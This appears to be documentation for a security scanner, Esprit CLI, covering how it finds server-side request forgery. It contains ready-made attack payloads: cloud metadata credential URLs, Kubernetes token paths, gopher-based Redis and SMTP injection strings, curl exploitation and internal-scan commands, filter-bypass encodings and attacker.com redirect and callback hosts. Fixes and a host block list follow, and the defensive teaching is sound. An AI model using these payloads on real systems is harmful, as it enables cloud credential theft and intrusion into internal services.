Esprit CLI detects Server-Side Request Forgery (SSRF) vulnerabilities that enable attackers to reach internal networks, cloud metadata endpoints, and services the attacker cannot directly access. SSRF can lead to credential disclosure, lateral movement, and sometimes RCE.
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes.
Attack Surface Coverage
Vulnerable Features
URL fetchers - Proxies, link previewers, webhook testers
Import/Export - Data importers, report generators
Media processing - Image/PDF renderers, thumbnail generators
Integrations - Webhook validators, OAuth callbacks
Document parsers - XML external entities, SVG processors
Protocol Support
Esprit tests multiple protocols:
HTTP/HTTPS
file:// (local file access)
gopher:// (raw protocol smuggling)
dict:// (dictionary protocol)
ftp://, ftps://
Cloud-specific (s3://, gs://)
High-Value Targets
Esprit prioritizes these attack targets:
AWS IMDSv1
# Extract IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# User data (often contains secrets)
http://169.254.169.254/latest/user-data
# Instance metadata
http://169.254.169.254/latest/meta-data/
AWS IMDSv2 (Token-Based)
# Requires PUT request for token
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Then use token in subsequent requests
GET /latest/meta-data/iam/security-credentials/role-name
X-aws-ec2-metadata-token: [token]
# Requires Metadata-Flavor header
GET /computeMetadata/v1/instance/service-accounts/default/token
Host: metadata.google.internal
Metadata-Flavor: Google
# Requires Metadata header
GET /metadata/instance?api-version=2021-02-01
Host: 169.254.169.254
Metadata: true
# MSI OAuth token
GET /metadata/identity/oauth2/token
Host: 169.254.169.254
Metadata: true
Esprit tests whether your application can set custom headers and HTTP methods, which determines IMDSv2/GCP/Azure reachability.
Kubernetes
# Kubelet API
http://localhost:10250/pods
http://localhost:10255/pods # Read-only (deprecated)
# API server via service DNS
https://kubernetes.default.svc/api/v1/namespaces/default/pods
# Service account token
file:///var/run/secrets/kubernetes.io/serviceaccount/token
Internal Services
# Docker daemon (if exposed internally)
http://localhost:2375/v1.24/containers/json
# Redis via gopher protocol
gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html
# Elasticsearch
http://localhost:9200/_cat/indices
# Message brokers
http://localhost:15672/api/overview # RabbitMQ
Detection Examples
Scenario 1: Link Preview SSRF
// Vulnerable code: src/services/preview.js:23
const axios = require ( 'axios' );
app . post ( '/api/preview' , authenticate , async ( req , res ) => {
const { url } = req . body ;
// VULNERABLE: No URL validation
const response = await axios . get ( url );
const preview = {
title: extractTitle ( response . data ),
description: extractDescription ( response . data )
};
res . json ( preview );
});
Exploitation:
# Fetch AWS metadata
curl -X POST https://api.example.com/api/preview \
-H "Authorization: Bearer token" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Response contains IAM role credentials
Impact: AWS credentials leaked, full cloud account compromise
Scenario 2: Webhook Validator SSRF
// Vulnerable code: src/api/webhooks.js:45
app . post ( '/api/webhooks/validate' , authenticate , async ( req , res ) => {
const { webhookUrl } = req . body ;
try {
// VULNERABLE: Sends request to user-controlled URL
const response = await fetch ( webhookUrl , {
method: 'POST' ,
body: JSON . stringify ({ test: true }),
headers: { 'Content-Type' : 'application/json' }
});
res . json ({
valid: response . ok ,
status: response . status
});
} catch ( err ) {
res . json ({ valid: false , error: err . message });
}
});
Exploitation:
# Scan internal network
for i in { 1..254} ; do
curl -X POST https://api.example.com/api/webhooks/validate \
-d "{ \" webhookUrl \" : \" http://192.168.1. $i :8080/ \" }"
done
# Probe internal services
curl -X POST https://api.example.com/api/webhooks/validate \
-d '{"webhookUrl": "http://localhost:9200/_cat/indices"}'
Scenario 3: Image Proxy SSRF
// Vulnerable code: src/services/image.js:67
app . get ( '/api/image/proxy' , authenticate , async ( req , res ) => {
const imageUrl = req . query . url ;
// VULNERABLE: No scheme or host validation
const response = await fetch ( imageUrl );
const buffer = await response . buffer ();
res . set ( 'Content-Type' , response . headers . get ( 'content-type' ));
res . send ( buffer );
});
Exploitation:
# Read local files
curl 'https://api.example.com/api/image/proxy?url=file:///etc/passwd'
# Access Kubernetes service account token
curl 'https://api.example.com/api/image/proxy?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token'
Protocol Exploitation
Esprit tests protocol-specific attacks:
Gopher Protocol
# Redis command injection
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
# HTTP request smuggling
gopher://internal-api:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20internal-api%0d%0a%0d%0a
# SMTP injection
gopher://localhost:25/_MAIL%20FROM:[email protected] %0d%0aRCPT%20TO:[email protected] %0d%0a
File Protocol
# Linux
file:///etc/passwd
file:///proc/self/environ
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# Windows
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config
Dict Protocol
# Probe Redis
dict://localhost:6379/info
# Probe Memcached
dict://localhost:11211/stats
Bypass Techniques
Esprit tests filter evasion:
IP Address Encoding
# Decimal encoding
http://2130706433/ # 127.0.0.1
# Hexadecimal
http://0x7f000001/
# Octal
http://0177.0.0.1/
# Mixed formats
http://127.1/
http://127.0.1/
IPv6 Variations
# Loopback
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
# IPv4-mapped IPv6
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/
DNS Rebinding
# First resolution: allowed external IP
# Second resolution: internal IP
http://rebind.attacker.com/
# Use short TTL DNS records to trigger re-resolution
URL Parser Differentials
# Userinfo confusion
http://[email protected]
http://external.com#@internal
http://external.com%23@internal
# Trailing dots
http://internal.domain.com./
# URL-encoded host
http://%6c%6f%63%61%6c%68%6f%73%74/ # "localhost"
Redirect Abuse
// Attacker-controlled redirect endpoint
app . get ( '/redirect' , ( req , res ) => {
// Initial check passes allowlist
// But redirects to internal target
res . redirect ( 'http://169.254.169.254/latest/meta-data/' );
});
Exploitation:
# If application follows redirects without re-validation
curl 'https://api.example.com/api/preview?url=https://attacker.com/redirect'
Blind SSRF Detection
Esprit uses out-of-band techniques:
DNS Callbacks
# Unique subdomain per test
http://ssrf-test-uuid.attacker.com/
# Monitor DNS logs for resolution attempts
HTTP Callbacks
# Unique endpoint per test
http://attacker.com/ssrf-callback/uuid
# Monitor access logs
Timing Analysis
// Detect open vs closed ports via timing
const start = Date . now ();
try {
await fetch ( 'http://internal-host:22/' , { timeout: 5000 });
} catch ( err ) {
const duration = Date . now () - start ;
// Open port: immediate connection refused (~5ms)
// Closed port: timeout (5000ms)
// Filtered port: timeout (5000ms)
}
Esprit recommends:
// SAFE: Strict URL validation
const ALLOWED_PROTOCOLS = [ 'http:' , 'https:' ];
const BLOCKED_HOSTS = [
'127.0.0.1' ,
'localhost' ,
'0.0.0.0' ,
'169.254.169.254' , // AWS metadata
'metadata.google.internal' , // GCP metadata
];
function isValidUrl ( urlString ) {
try {
const url = new URL ( urlString );
// Check protocol
if ( ! ALLOWED_PROTOCOLS . includes ( url . protocol )) {
return false ;
}
// Check for blocked hosts
if ( BLOCKED_HOSTS . includes ( url . hostname )) {
return false ;
}
// Check for private IP ranges
if ( isPrivateIP ( url . hostname )) {
return false ;
}
// Check for IPv6 loopback
if ( url . hostname === '[::1]' || url . hostname . includes ( '::ffff:' )) {
return false ;
}
return true ;
} catch {
return false ;
}
}
function isPrivateIP ( hostname ) {
const ip = hostname . match ( / ^ ( \d + ) \. ( \d + ) \. ( \d + ) \. ( \d + ) $ / );
if ( ! ip ) return false ;
const [, a , b , c , d ] = ip . map ( Number );
return (
a === 10 || // 10.0.0.0/8
( a === 172 && b >= 16 && b <= 31 ) || // 172.16.0.0/12
( a === 192 && b === 168 ) || // 192.168.0.0/16
( a === 169 && b === 254 ) // 169.254.0.0/16 (link-local)
);
}
DNS Resolution Validation
// SAFE: Validate after DNS resolution
const dns = require ( 'dns' ). promises ;
async function isSafeUrl ( urlString ) {
const url = new URL ( urlString );
// Resolve hostname
try {
const addresses = await dns . resolve4 ( url . hostname );
// Check each resolved IP
for ( const ip of addresses ) {
if ( isPrivateIP ( ip ) || ip === '169.254.169.254' ) {
return false ;
}
}
return true ;
} catch {
return false ;
}
}
Network-Level Controls
// SAFE: Use egress proxy/firewall
const HttpsProxyAgent = require ( 'https-proxy-agent' );
const proxyAgent = new HttpsProxyAgent ( process . env . EGRESS_PROXY );
async function safeFetch ( url ) {
// All requests go through proxy that blocks:
// - Private IP ranges
// - Cloud metadata endpoints
// - Internal service ports
return fetch ( url , {
agent: proxyAgent ,
timeout: 5000
});
}
Disable Redirects
// SAFE: Disable or limit redirects
const response = await fetch ( url , {
redirect: 'manual' , // Don't follow redirects
timeout: 5000
});
if ( response . status >= 300 && response . status < 400 ) {
throw new Error ( 'Redirects not allowed' );
}
IMDSv2 on AWS
# Enforce IMDSv2 (requires PUT with headers)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
IMDSv2 requires PUT requests with custom headers, making SSRF exploitation significantly harder.
Detection Output
Esprit provides detailed SSRF findings:
[CRITICAL] SSRF in link preview endpoint
Location: src/services/preview.js:23
Target: AWS IMDS
Vulnerable Code:
const response = await axios.get(url);
Proof:
Request:
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Response:
{"title": "ec2-role-name"}
Follow-up:
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}
Credentials leaked:
- AccessKeyId: ASIA...
- SecretAccessKey: ...
- Token: ...
Impact:
- Full AWS account compromise
- Access to S3, RDS, Lambda, etc.
- Potential lateral movement to other services
- Data exfiltration from cloud resources
Remediation:
1. Validate URL scheme (https only)
2. Block private IP ranges and metadata endpoints
3. Use egress proxy with allowlist
4. Enable IMDSv2 on EC2 instances
Next Steps
Business Logic Detect workflow and invariant violations
Authentication Find JWT and session vulnerabilities